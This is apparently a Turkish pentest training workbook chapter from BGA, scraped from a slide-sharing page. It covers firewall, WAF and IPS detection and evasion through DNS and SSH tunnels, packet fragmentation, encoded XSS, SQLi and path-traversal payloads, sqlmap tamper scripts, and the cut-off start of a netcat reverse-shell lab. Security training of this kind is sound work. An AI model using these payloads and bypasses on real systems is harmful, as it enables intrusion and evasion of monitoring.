Diese Präsentation wurde erfolgreich gemeldet.
Wir verwenden Ihre LinkedIn Profilangaben und Informationen zu Ihren Aktivitäten, um Anzeigen zu personalisieren und Ihnen relevantere Inhalte anzuzeigen. Sie können Ihre Anzeigeneinstellungen jederzeit ändern.

GÜVENLİK SİSTEMLERİNİ ATLATMA

Sızma testi çalışmaları için BGA Bilgi Güvenliği A.Ş olarak hazırladığımız uygulama kitabı

Pentest Eğitimi Uygulama Kitabı [Bölüm 4]

  • Loggen Sie sich ein, um Kommentare anzuzeigen.

GÜVENLİK SİSTEMLERİNİ ATLATMA

  1. 1. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity PENTEST EĞİTİMİ UYGULAMA KİTABI BÖLÜM - 4
  2. 2. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity İÇİNDEKİLER 4. GÜVENLİK SİSTEMLERİNİ ATLATMA BU KATEGORİDEKİ LAB UYGULAMA LİSTESİ 4.1. Firewall, Waf, Saldırı Engelleme Sistemi Keşif Çalışması 4.2. DNS Tünelleme Kullanarak Firewall-IPS-Cf Atlatma Çalışması 4.3. Parçalanmış Paketlerle Uygulama Seviyesi Güvenlik Duvarı Atlatma 4.4. SSH Tüneli Kullanarak Firewall-IPS-Cf Atlatma Çalışması 4.5. Encoding Yöntemleri Kullanarak IPS Atlatma 4.6. SSL Üzerinden Waf-IPS Sistemlerini Atlatma 4.7. Sql Injection Saldırılarında Tamper Script Kullanarak IPS Atlatma 4.8. Netcat Kullanarak Tersine Kanal Açma Yöntemleri
  3. 3. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 4.1. Firewall,WAF, SaldırıEngelleme SistemiKeşif Çalışması Amaç: Güvenlik cihazlarının ve saldırı engelleme araçlarının keşfedilmesi. Uygulama: Güvenlik duvarı keşif çalışmasını 3 aşamada inceleyebiliriz. 1.Adım Normal bir TCP bağlantısında iletişime geçmek isteyen istemci taraf hedef sistemin ilgili portuna SYN paketi gönderir. Eğer servis çalışıyor ve hizmet veriyor ise karşılık olarak hedef sistem istemciye SYN+ACK paketi ile cevap döner. Bu şekilde servisin açık olduğu görülebilir. root@kali:~# nmap -sS -p80 cnn.com Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 05:25 EDT Nmap scan report for cnn.com (157.166.226.26) Host is up (0.18s latency). Other addresses for cnn.com (not scanned): 157.166.226.25 rDNS record for 157.166.226.26: www.cnn.com PORT STATE SERVICE 80/tcp open http 2.Adım Normal bir TCP bağlantısında iletişime geçmek isteyen istemci taraf hedef sistemin ilgili portuna SYN paketi gönderir. Eğer servis kapalı ve hizmet vermiyor ise karşılık olarak hedef sistem istemciye RST paketi ile cevap döner. Bu şekilde servisin kapalı olduğu görülebilir. root@kali:~# nmap -sS -p443 cnn.com Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 05:25 EDT Nmap scan report for cnn.com (157.166.226.26)
  4. 4. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity Host is up (0.18s latency). Other addresses for cnn.com (not scanned): 157.166.226.25 rDNS record for 157.166.226.26: www.cnn.com PORT STATE SERVICE 443/tcp closed https 3.Adım Bağlantı kurmak isteyen taraf hedef sistem ile iletişime geçtiği zaman gönderdiği SYN paketine cevap alamıyorsa, yani hedef sistem istemci tarafın SYN paketine SYN+ACK ya da RST gibi bir cevap dönmüyorsa hedef sistemin önünde bir güvenlik cihazının olduğundan söz edilebilir. Bu durumda iletişime geçilmek istenen port filtered olarak görünecektir ve erişilemeyecektir. root@kali:~# nmap -sS -p22 cnn.com Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 05:25 EDT Nmap scan report for cnn.com (157.166.226.25) Host is up (0.18s latency). Other addresses for cnn.com (not scanned): 157.166.226.26 rDNS record for 157.166.226.25: www.cnn.com PORT STATE SERVICE 22/tcp filtered SSH Waf Keşif Çalışması Günümüz internet dünyasında siber saldırıların artması ile savunma tarafındaki önlemler de artmaya başlamıştır. Özellikle web uygulamalarına yönelik gerçekleştirilen saldırılar büyük bir artış göstermiştir. Bu saldırılar karşısında ise Web Application Firewall (WAF) ürünleri değer kazanmıştır. Layer 7’de çalışan bu cihazlar ile web
  5. 5. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity uygulamalarına karşı yapılan saldırılar büyük ölçüde engellenebilmektedir. Herhangi bir sızma testinde atılması gereken başlıca adımlardan birisi, hedef sistem önünde aktif bir güvenlik cihazının olup olmadığının kontrol edilmesidir. Sistemler genelde WAF ya da IPS gibi sistemlerle korunur. Bu durumda test öncesinde bunların tespit edilmesi ve testlerin ona göre gerçekleştirilmesi gerekmektedir. Kali Linux üzerinde hazır olarak gelen wafw00f aracı ile hedef sistem önünde aktif olarak çalışan bir WAF cihazının olup olmadığını anlamak mümkündür. Kullanımı oldukça basit olan bu araç aşağıdaki gibi kullanabilir. Öncelikle -h parametresi kullanılarak aracın hangi özelliklere sahip olduğunu ve parametreleri görülebilir. root@kali:~# wafw00f -h Options: -h, --help show this help message and exit -v, --verbose enable verbosity - multiple -v options increase verbosity -a, --findall Find all WAFs, do not stop testing on the first one -r, --disableredirect Do not follow redirections given by 3xx responses -t TEST, --test=TEST Test for one specific WAF -l, --list List all WAFs that we are able to detect --xmlrpc Switch on the XML-RPC interface instead of CUI --xmlrpcport=XMLRPCPORT Specify an alternative port to listen on, default 8001 -V, --version Print out the version Genel olarak kullanımı ise aşağıdaki gibidir.
  6. 6. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity root@kali:~# wafw00f waftest.bgabank.com.tr WAFW00F - Web Application Firewall Detection Tool By Sandro Gauci && Wendel G. Henrique Checking waftest.bgabank.com.tr Generic Detection results: The site waftest.bgabank.com.tr seems to be behind a WAF Reason: The server header is different when an attack is detected. The server header for a normal response is "Microsoft-IIS/7.0", while the server header a response to an attack is "Microsoft-HTTPAPI/2.0.", Number of requests: 13 Görüldüğü üzere parametre olarak sadece hedef sistemi vermek yeterli olmaktadır. Çok kısa bir sürede hedef sistemin WAF ile korunduğu bilgisini bize vermektedir.
  7. 7. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 4.2. DNS Tünelleme KullanarakFirewall/IPS/CFAtlatma Çalışması Amaç: İstemci tabanlı alınan güvenlik önlemlerinin DNS tünel kullanılarak aşılması. Yerel ağdan internete giden tüm port ve protokoller Firewall tarafından engellenmiştir. Web erişimi için hizmet veren proxy ise yalnızca yetkili kullanıcılara internet erişimi sağlamaktadır. Bu sistemlere takılmadan sınırsız ve kayıt altına alınamaz internet trafiği nasıl elde edilebilir? Uygulama: DNS Tunnel Bir protokol içerisinde başka bir protokole ait veri taşıma işlemine protokol tünelleme denir. DNS paketleri içersinden herhangi bir tcp/udp paketini (örneğin, http,ftp, ssh vb.) taşıma işlemi de DNS Tünnelleme olarak isimlendirilir. DNS sunucu kendisinden sorgulanan bir DNS isteğine önce önbelleğini kontrol ederek yanıt vermek ister eğer alan adı dns önbelleğinde yoksa, sorgulanan alan adından sorumlu dns sunucuyu bulur ve ona sorar. Sorgulanan alan adından yetkili dns sunucu ilgili dns kaydı için yanıt verir ve DNS sunucu bu yanıtı istemciye iletir. Örnek Kullanıcı, tunnel.bga.com.tr alan adını sorgulamak istediğinde yerel ağındaki dns sunucu bu kayıt önbelleğinde yoksa bu isteğe doğrudan yanıt veremez. tunnel.bga.com.tr alan adından sorumlu dns sunucuyu bulur dns.bga.com.tr ve ona tunnel A kaydını sorar aldığı yanıtı istemciye iletir.
  8. 8. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity Tcp-Over-Dns Çalışma Prensibi Tcp-Over-Dns client, DNS verisini encode ederek ISP'nin DNS sunucusuna iletir. ISP'nin DNS sunucuyu bu isteğe yanıt veremez ve DNS isteğini tcp-over-dns server’a iletir. Tcp-Over-Dns server gelen isteği decode eder ve ilgili isteğe yanıtı client’a geri gönderir. DNS isteklerinin, DNS sunucu tarafından önbelleğe alınma ihtimaline karşı her DNS sorgusunda rastgele bir subdomain kullanılır. Ön Gereksinimler: 1. DNS isteklerinize yanıt alabildiğinizi doğrulamalısınız. Örneğin; 'nslookup google.com.tr' komutu ile google IP adreslerini öğrenebiliyorsanız. DNS isteklerinize yanıt veriliyordur. 2. İnternet dünyasında sizin kontrolünüzde olan bir sunucu. Administrator veya root yetkilerine sahip olmalısınız. UDP 53 portu farklı bir uygulama tarafından kullanılmıyor olmalı ve erişim problemi yaşanmamalıdır. 3. Kullandığınız işletim sistemine göre Tcp-Over-Dns yazılımı. Mutlaka java kurulu olmalıdır. 4. http://analogbit.com/software/tcp-over-dns Tcp-Over-Dns Server Yapılandırması Bu işlem için bir alan adına ve bu alan adından sorumlu dns sunucuya ihtiyaç vardır. Bu örnekte aşağıdaki DNS kayıtları oluşturup, kullanılmıştır. NS = dns.bga.com.tr A = tunnel.bga.com.tr tcpoverdns, multi platform çalışmaktadır (Windows,Linux,*BSD). Bu örnekde DNS sunucu FreeBSD istemci ise Windows 7 işletim sisteminde kurulmuştur. Not: Tcp-Over-Dns server, gelen trafiği port 443 (ssh servisine) yönlendirecektir.
  9. 9. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity Tcp-Over-Dns Client Yapılandırması İstemci bilgisayarda client-example.bat dosyası düzenlenerek DOMAIN değeri bu iş için oluşturulan alan adı ile değiştirilir. client-example.bat dosyası çalıştırıldığında tünel için 127.0.0.1:8080 portu dinleme alınacaktır. Tcp-Over-Dns Client, yerel bilgisayarda 8080 portunu dinleme açtı ve bu porta yapılan bağlantıları tunnel.bga.com.tr makinasının 443 (ssh) portuna iletecektir.
  10. 10. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity Test için, putty aracı ile 127.0.0.1:8080 portuna bağlantı isteği başlatıldığında bga.com.tr adresinin 443 portuna erişim kurulacaktır. SSH trafiği Firewall tarafından engellenmiş olsada, DNS paketleri ile ssh trafiği internete kaçırılmıştır. Bu yöntem ile birçok yerde bulunan Hotspot sistemleri de atlatılabilmek mümkündür.
  11. 11. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity Iodine ile Dns Tünelleme Diğer bir tünelleme yazılımı olan iodine oldukça kullanışlı ve stabil bir araçtır. Sunucu istemci mantığı ile çalışmakta olup sunucu tarafında servisi çalıştırdıktan sonra istemciden bağlanması oldukça kolaydır. Kurulumu : İlk olarak kaynak kod indirilip “make” diyerek sunucu tarafında kurulum yapılır. Daha sonra sunucu tarafında aşağıdaki gibi bir komut çalıştırılır. iodined -c -P P@ssw0rd 192.168.50.1 tunnel.example.com Buradaki IP karşılığı olmayan bir IP adresidir. Başarılı bir şekilde bağlanıldığı zaman belirlenen o IP aralığından bir IP alınacaktır. -P ile parola belirlenir. Daha sonra istemci tarafında ise aşağıdaki gibi bir komut çalıştırılır ve bağlantı kurulur. iodine tunnel.example.com Bu komut çalıştırıldıktan sonra size parolayı soracaktır ve doğru girdikten sonra tünelleme gerçekleşecektir. Bağlantı başarılı ise ilk başta belirlenen IP aralığından dns0 arayüzüne otomatik olarak bir IP alınmış olacaktır. Örnek bir komut çıktısı aşağıdaki gibidir. root@pentest:/home/cihat# ifconfig dns0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00- 00-00 inet addr:192.168.50.1 P-t-P:192.168.99.1 Mask:255.255.255.224 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1130 Metric:1 RX packets:535 errors:0 dropped:0 overruns:0 frame:0 TX packets:672 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:500 RX bytes:143210 (139.8 KiB) TX bytes:370746 (362.0 KiB)
  12. 12. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity Bu işlemden sonra sorunsuz bir şekilde direk olarak internete çıkmak için aynı sunucuya ssh tünelleme yapılırsa proxy kullanmadan direkt internet erişimi sağlanabilecektir.
  13. 13. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 4.3. Parçalanmış Paketlerle UygulamaSeviyesiGüvenlikDuvarı Atlatma Amaç: Güvenlik duvarlarının bypass edilebilmesi için, paketlerin parçalanarak yollanması. Uygulama: Güvenlik duvarına bir paket geldiğinde onu başlık bilgilerine bakarak filtreleyebilir fakat paket parçalanmış bir paket ise sadece ilk parça paketi filtreleyebilecektir, diğer parça paketler firewalldan süzülerek geçecektir. Güvenlik duvarları gelip giden paketleri kural tablosu ile karşılaştırabilmesi için paketlerin parçalı olmaması gerekir. Bu da güvenlik duvarlarının paket birleştirme özelliğine sahip olmalarını zorunlu tutar. OpenBSD PF güvenlik duvarındaki scrub özelliği kullanılarak parçalanmış paketlerin güvenlik duvarında tekrar birleştirilmesi ve hedefe bu şekilde ulaştırılması sağlanabilir. OpenBSD PF ve parçalanmış paketler Scrub özelliği Fragment reassemble: Gelen parçalanmış paketleri hedefe iletmeden önce birleştirerek göndermek için kullanılır. Bu seçeneğin yararı güvenlik duvarları paket tamamlanmadan kuralları tam uygulamayacağı için fragment paketlerin güvenlik duvarı kurallarına gelmeden birleştirilmesi gerekir. Ek olarak fragment crop, fragment drop-ovl, no-df seçenekleri de incelenebilir. Parçalanmış Paketler ve Saldırı Tespit Sistemleri Parçalanmış paketler konusunda en sıkıntılı sistemler IDS/IPS’lerdir. Bunun nedeni bu sistemlerin temel işinin ağ trafiği inceleme olmasıdır. Saldırı tespit sistemleri gelen bir paketin/paket grubunun saldırı içerikli olup olmadığını anlamak için çeşitli kontrollerden geçirir. Eğer bu kontrolleri geçirmeden önce paketleri birleştirmezse çok rahatlıkla kandırılabilir. Örneğin HTTP trafiği içerisinde “/bin/bash” stringi arayan bir saldırı imzası olsun. IDS sistemi 80.porta gelen giden her trafiği inceleyerek içerisinde /bin/bash geçen paketleri arar ve bu tanıma uyan paketleri bloklar. Eğer IDS sistemi paket birleştirme işlemini uygun bir şekilde yapamıyorsa fragroute veya benzeri bir araç kullanarak /bin/sh stringini birden fazla paket olacak şekilde (1. Paket /bin, 2.paket /bash)gönderip IDS
  14. 14. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity sistemini atlatmak mümkündür. ngrep aracını IDS olarak kullanarak fragroute ile atlatılabilir. İlk olarak ngrep aracını kullanarak /etc/passwd string ifadesinin yakalanması test edilecektir. Görüldüğü üzere telnet ile kurulan bağlantıda /etc/passwd ifadesi yakalanmış ve ekrana basılmıştır. Ama aynı istek fragroute aracı ile parçalanmış paketler halinde gönderilirse IDS görevi gören ngrep aracı bu isteği yakalayamayacaktır. Bu durumda istek IDS’e takılmadan ve başarılı bir şekilde gerçekleşecektir. Aşağıdaki ekran görüntüsünde aynı isteğin parçalanmış paketler halinde gönderilmesi gösterilmiştir.
  15. 15. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 4.4. SSH TüneliKullanarak Firewall/IPS/CF Atlatma Çalışması Amaç: Güvenlik araçlarının SSH tünel kullanılarak atlatılması. Uygulama: Sızma testi esnasında kurum ağından dışarıya yapılan kısıtlamalar en sık karşılaşılan durumlardan biridir. Böyle bir durumda belirli portlar haricindeki portlar erişime kapatılmıştır. Bunları aşmak için ise açık olan port üzerinden dışardaki bir sunucuya SSH tünnel kurulumu yapılabilir. Diğer bir durum ise sızma testleri yapılırken genellikle testi yaptıran firma kendisine hangi IP adresi, IP adreslerinden denemeler yapıldığını bilmek ister. Bazı durumlarda Firewall/IPS/WAF sistemlerden bu IP adreslerine özel erişimler tanımlanması da gerekebilir. Eğer sızma test ekibi birden fazla kişiden oluşuyorsa tek bir IP adresinden çıkış yapabilmek için ofis çıkış IP adresi ya da internet üzerinden alınacak VPS sunucular kullanılabilir. VPS sunucunun Linux olması durumunda birden fazla kişi bu sunucuya bağlanarak sızma testlerini gerçekleştirebilir. Sunucu üzerinden iki farklı şekilde sızma testleri gerçekleştirilebilir. Bunlardan biri Linux sunucu üzerine VPN kurularak tüm sızma test uzmanları VPN'le bağlanıp sunucu üzerinden çıkış yaparak test gerçekleştirir. VPN kurulumu ve yönetimi biraz daha zahmetli olduğu için diğer yöntem olan uzaktaki sunucuyu SOCKS Proxy olarak kullanma daha tercih edilebilir ya da SSH üzerinden kolay VPN kurulumu yapabilecek SSHuttle aracı kullanılabilir. Bu işlem çoğu zaman yasaklı sitelere girmek veya şirket networklerinden içerik filtreleme sistemlerini atlatma veya kablosuz ağlarda güvenli dolaşma için vs. kullanılır. Bunun için proxy sunucumuz üzerinde SSH Port adresi 443 olarak set edildikten sonra yerel sistemde aşağıdaki komut ile uzak sisteme SSH tünel kurulması ve yereldeki TCP/8080 portuna gelen isteklerin sunucu IP adresiyle internete çıkartılması sağlanır. root@pentest-pc:~# SSH -D 8080 username@proxysunucu -p 443 Fakat burada localdeki 8080 portu socks proxy desteği olan araçlarda set edilip kullanılabilir. Örneğin browserlarda(ie,firefox v.s) proxy ayarından socks proxy bölümü localhost:8080 yapılarak browser üzerinden hedefe proxy üzerinden gidebiliriz. Fakat bu
  16. 16. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity işlem pentest işlemlerinde bize yetmeyebilir. Yani bazı hazır otomatize araçlar zap,burb suite vs.) kullanmak istediğimizde karşımıza socks proxy desteğinin olmaması gibi sorunlar çıkabilir. Bu durumda pentest yapacağımız araçların da kurduğumuz SSH proxy bağlantımız üzerinden geçmesini isteyebiliriz. Yani localimizin tüm trafiğini bu uzak proxy sunucuya secure olarak göndermek isteyebiliriz. Bunun için SSHuttle aracı kullanılabilir. Bu araç ile proxy sunucusunun istenilen portuna SSH bağlantınızı kurabilir ve tüm internet trafiğinizin bu proxy üzerinden gitmesini sağlayabilirsiniz. Böylece zap gibi güvenlik araçlarının socks proxy desteginin olmamasından dolayı yaşanabilecek zorluklar giderilebilir. Kurulum: SSHuttle indirmek için https://github.com/apenwarr/SSHuttle adresini ziyaret edebilirsiniz. SSHuttle aracının basit kullanımı aşağıdaki gibidir. root@pentest-pc:/SSHuttle# ./SSHuttle -r username@proxysunucu:SSHportu 0.0.0.0/0 - vv Sizden ilgili kullanıcıya ait parolayı isteyecek girdikten sonra tüm trafiğiniz artık proxy server üzerinden geçecektir. Bundan sonra pentest için kullanılan proxy'lik de yapan ZAP/Burb suite gibi uygulamalar rahatlıkla kullanılabilir. Örneğin ZAP kullanmak için, browser üzerinde http proxy ayarı localhost:8080 olarak girildikten sonra ilgili siteler üzerinde gezinti yapılarak ZAP aracının üzerinden trafiğin geçmesi ve cache'lenmesi sağlanabilir.
  17. 17. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 4.5. Encoding YöntemleriKullanarak IPS Atlatma Amaç: Blacklist temelli kontrolleri atlatmak için kullanılabilecek bir diğer yöntem ise saldırı isteklerini kısmen veya tamamen sunucu tarafından desteklenen encoding yöntemleri ile değiştirerek yollamaktır. Örneğin günümüzde kullanılan çoğu uygulamada web uygulama problemlerinin ortaya çıkmasına neden olan en büyük etken ', ", <, >, /, ;, |, gibi karakterlerdir. Sunucu tarafındaki IPS’ler üzerinde oluşturulan blacklistler ile bu karakterler engellenmek istense de encoding yöntemleri ile bu kısıtları aşmak oldukça kolay olacaktır. Örneğin web uygulamalarında en çok can yakan '(tırnak) karakterinin farklı encoding yöntemleri ile gösterimi aşağıdaki gibidir. URL Encode - %27 Double URL Encode - %2527 Unicode URL Encoding - %u0027 Base64 - Jw== UTF-8 (2 byte) - %c0%a7 UTF-8 (JAVA) - uc0a7 HTML Entity - &apos; HTML Entity Number -  Decimal - &#39 Örnek olarak www.bga.com/index.php?id=<script>alert(‘BGA’)</script> isteği doğrudan url adresi ile istenirse aktif güvenlik cihazı bu isteği bloklayacaktır ve erişilemecektir. Ama aşağıdaki gibi encoding metotları ile bu kısıtı aşmak oldukça kolaydır. URL Encode - %3Cscript%3Ealert%28%u2018BGA%u2019%29%3C/script%3E Double URL Encode
  18. 18. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity %253Cscript%253Ealert%2528%25u2018BGA%25u2019%2529%253C/script%253E Base64 - PHNjcmlwdD5hbGVydCgYQkdBGSk8L3NjcmlwdD4= Decimal - 3c7363726970743e616c657274281842474119293c2f7363726970743e Yine en çok kullanılan payloadlardan biri olan ‘or ‘1’=’1 ifadesinin çeşitli encoding yöntemleri aşağıdaki gibidir. URL Encode - +%u2018or+%u20181%u2019%3D%u20191 Double URL Encode - %2B%25u2018or%2B%25u20181%25u2019%253D%25u20191 Base64 - IBhvciAYMRk9GTE= En tehlikeli saldırılardan biri olan local file inclusion ya da directory traversal encoding yöntemleri ile rahatlıkla aşılabilir. IPS’ler genelde ‘..’ ve ‘../’ ifadesini gözrdükleri zaman bunu saldırı olduğunu anlarlar ve ona göre davranırlar. Ama ../../../../../../../etc/passwd gibi bir payload encoding yöntemleri kullanılarak gönderilirse, istenilen sayfa elde edilecektir. HEX - 2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764 Base64 - Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
  19. 19. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 4.6. SSL ÜzerindenWAF/IPS SistemleriniAtlatma Amaç: SSL protokolü üzerinden güvenlik önlemlerinin atlatılması. Uygulama: IPS’ler yapılandırılırken HTTP bağlantısı için yapılan konfigürasyonlar bazen HTTPs için yapılmayabiliyor. Böyle bir durumda HTTP bağlantısı için alınan güvenlik önlemleri https bağlantısı için devre dışı kalmış oluyor. Bu çalışmada her IPS’in direk olarak engellediği “cmd.exe” anahtar kelimesini kullanarak küçük bir uygulama yapılacaktır. http://ipstest.bgabank.com üzerinde bir IPS bulunmaktadır ve belli başlı istismar ataklara içeren kelimelere karşı önlem alınmış durumdadır. Temel olarak IPS’in olduğunu ve engelleme yaptığını görmek için hedef site üzerindeki search kısmında cmd.exe ifadesini aratmak yeterli olacaktır. Görüldüğü üzere IPS tarafından kelime engellendiği için bağlantı direk olarak engellenmiş ve IPS tarafından istek reddedilmiştir. Şimdi aynı siteye HTTPs ile bağlanıp “cmd.exe” ifadesi tekrar aratılacak olursa;
  20. 20. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity https:/ipstest.bgabank.com adresi üzerinde IPS yapılandırması olmadığı için yapılan isteklere IPS değil web sunucusu cevap dönmüştür. Yani site üzerinde aratılan “cmd.exe” kelimesi sitede olmadığı için web sunucu tarafından “Aradığınız Kayıt Bulunamadı” ifadesi dönmüştür. Eğer IPS aktif olsaydı direk olarak bağlantıya reset cevabı dönmüş olacaktı.
  21. 21. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 4.7. SQL Injection SaldırılarındaTamperScriptKullanarak IPS Atlatma Amaç: SQL enjeksiyonu zafiyeti barındıran ve güvenlik cihazları tarafından korunan sistemlerin sqlmap tamper script kullanılarak istismar edilmesi. Uygulama: Veritabanı olarak olarak MS-SQL sunucu kullanan ve önünde WAF/IPS cihazı bulunan bir web uygulamasındaki SQL injection açıklığı, sqlmap tamper script kullanılarak ve güvenlik cihazları atlatılarak istismar edilebilir. Birçok WAF/IPS güvenlik cihazının çalışma mantığında belirli kelime öbeklerini girdide bulmak için boşluk karakteri referans alınır. Örneğin union ve select kelimelerini sevmeyen bir IPS cihazı bu kelimeleri girdide ararken bu kelimelerin başında ve sonunda boşluk karakteri arar veya boşluk karakterlerinin önünü ve sonunu okur bu kelimeler ile eşleşme olursa ilgili imza gereğini gerçekleştirir. Bu mantık ile çalışan bir IPS cihazı kullanıcıdan aldığı aşağıdaki gibi bir girdiyi bloklar; admin';union select null,null,ad from users-- Fakat boşluk karakteri yerine rastgele bir ifade(AA) yazarsak aşağıdaki gibi bu SQL sorgusu IPS cihazına takılmayacaktır; admin;'unionAAselectAAnull,null,adAAfromAAusers-- Not: AA test amaçlı verilmiştir. Backend dbms üzerinde çalışacak bir ifade degildir. AA yerine backend dbms uygulamasında boşluk için alternatif olacak bir değer girilmelidir. Şimdi bu durumu veritabanı olarak Mssql server kullanan ve önünde IPS cihazı bulunan bir web uygulamasındaki SQL injection açıklığını istismar etmede nasıl kullanılabileceğine değinelim. Mssql üzerinde boşluk karakterine alternatif olabilecek ifadeleri bir diziye atarak her seferinde bu diziden random bir değeri boşluk ifadelerinin olduğu yerlere yerleştiren ve sorguyu bu şekilde hedefe gönderen space2mssqlblank.py sqlmap tamper scriptini kullanacağız.
  22. 22. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity Mssql üzerinde boşluk karakterine alternatif olan diğer değerler aşağıdaki gibidir; %01, %02, %03, %04, %05, %06, %07, %08, %09, %0A, %0B, %0C, %0D, %0E, %0F Bu değerler bir dizi içerisinde tutulup her SQL sorgusu içerisindeki boşluk değerlerine rastgele olarak atanıp sorgular backend dbms sistemine gönderilir. Bu şekilde aradaki güvenlik cihazları kolaylıkla bypass edilebilmektedir. IPS sistemi ile korunan bir web uygulamasındaki SQL injection açıklığını sqlmap ile istismar ederken ilgili script kullanılmadığındaki durum aşağıdaki gibidir; root@bt:/pentest/database/sqlmap# ./sqlmap.py -r bb.txt --dbs --current-user --current- db --keep-alive --dbms "mssql" --technique T -v 3 ... ... [22:46:16] [INFO] POST parameter 'username' is 'Microsoft SQL Server/Sybase time- based blind' injectable [22:46:16] [INFO] checking if the injection point on POST parameter 'username' is a false positive [22:46:16] [PAYLOAD] admin) IF((19+18)=37) WAITFOR DELAY '0:0:5'-- [22:46:46] [PAYLOAD] admin) IF(19=18) WAITFOR DELAY'0:0:5'-- [22:47:18] [PAYLOAD] admin) IF(18>(66+19)) WAITFOR DELAY '0:0:5'-- [22:47:48] [WARNING] false positive or unexploitable injection point detected [22:47:48] [WARNING] POST parameter 'username' is not injectable ... ... Yukarıdaki gibi boşluk karakterleri olduğu gibi gönderilen sorgular IPS tarafından geçirilmediğinden dolayı sqlmap açıklığı doğrulayamamış yada istismar edilemeyecek bir açıklık olarak değerlendirmiştir.
  23. 23. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity Şimdi ise boşluk karakterleri yerine Mssql serverdaki alternatif değerlerini rastgele kullanan tamper scripti sqlmap aracına verip sonucu görelim; root@bt:/pentest/database/sqlmap# ./sqlmap.py -r bb.txt --dbs --current-user --current- db --keep-alive --dbms "mssql" --technique T --tamper "space2mssqlblank.py" -v 3 -- flush-session [22:58:00] [INFO] POST parameter 'username' is 'Microsoft SQL Server/Sybase time- based blind' injectable [22:58:00] [INFO] checking if the injection point on POST parameter 'username' is a false positive [22:58:00] [PAYLOAD] admin'%0FIF((62+76)=138)%0AWAITFOR%05DELAY%0B'0:0:5'-- [22:58:05] [PAYLOAD] admin'%0AIF(62=76)%08WAITFOR%03DELAY%04'0:0:5'-- [22:58:06] [PAYLOAD] admin'%0EIF(62>(63+76))%04WAITFOR%04DELAY%02'0:0:5'- - [22:58:06] [PAYLOAD] admin'%0EIF((63+62)>201)%06WAITFOR%0DDELAY%0C'0:0:5'-- [22:58:07] [PAYLOAD] admin'%0AIF(138=(62+76))%0EWAITFOR%03DELAY%05'0:0:5'-- POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Yukarıdaki gibi hedefe gönderilen payloadlarda, boşluk karakterinin Mssql sunucudaki alternatif değerleri rastgele olarak verilerek IPS cihazı atlatılmıştır. Birçok WAF/IPS imzaları bu mantıkla çalıştığı için belirtilen yöntemle kolaylıkla bypass edilebilirler.
  24. 24. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 4.8. Netcat KullanarakTersine KanalAçma Yöntemleri Amaç: Netcat aracı kullanılarak arka kapı açılması Uygulama: Sızma testi esnasında karşılaşılan en büyük problemlerden birisi de zafiyet barındıran makineye olan erişim sıkıntısıdır. İlgili makine üzerinde yapılan port kısıtlamaları nedeniyle makineye erişmenin zor olduğu durumlarda kullanılabilecek bazı alternatif yöntemler vardır. Örnek olarak bir uygulamanın shellshock zafiyeti barındırdığını fakat 80 portu haricindeki diğer portların kapalı olduğunu varsayalım. Böyle bir durumda makineye komut satırından direk erişim sağlamak için ne yapılmalıdır? Böyle bir durumda en pratik ve avantajlı yöntem netcat ile tersine kanal açma yöntemidir. Sizin makineye erişemediğiniz durumlarda makinenin size erişmesini sağlayacaktır. Öncelikle zafiyet barındıran makinenin bağlanması için saldırgan tarafında netcat ile bir port açılır ve dinlemeye alınır. root@bgakali:/home/cihat# nc -lvp 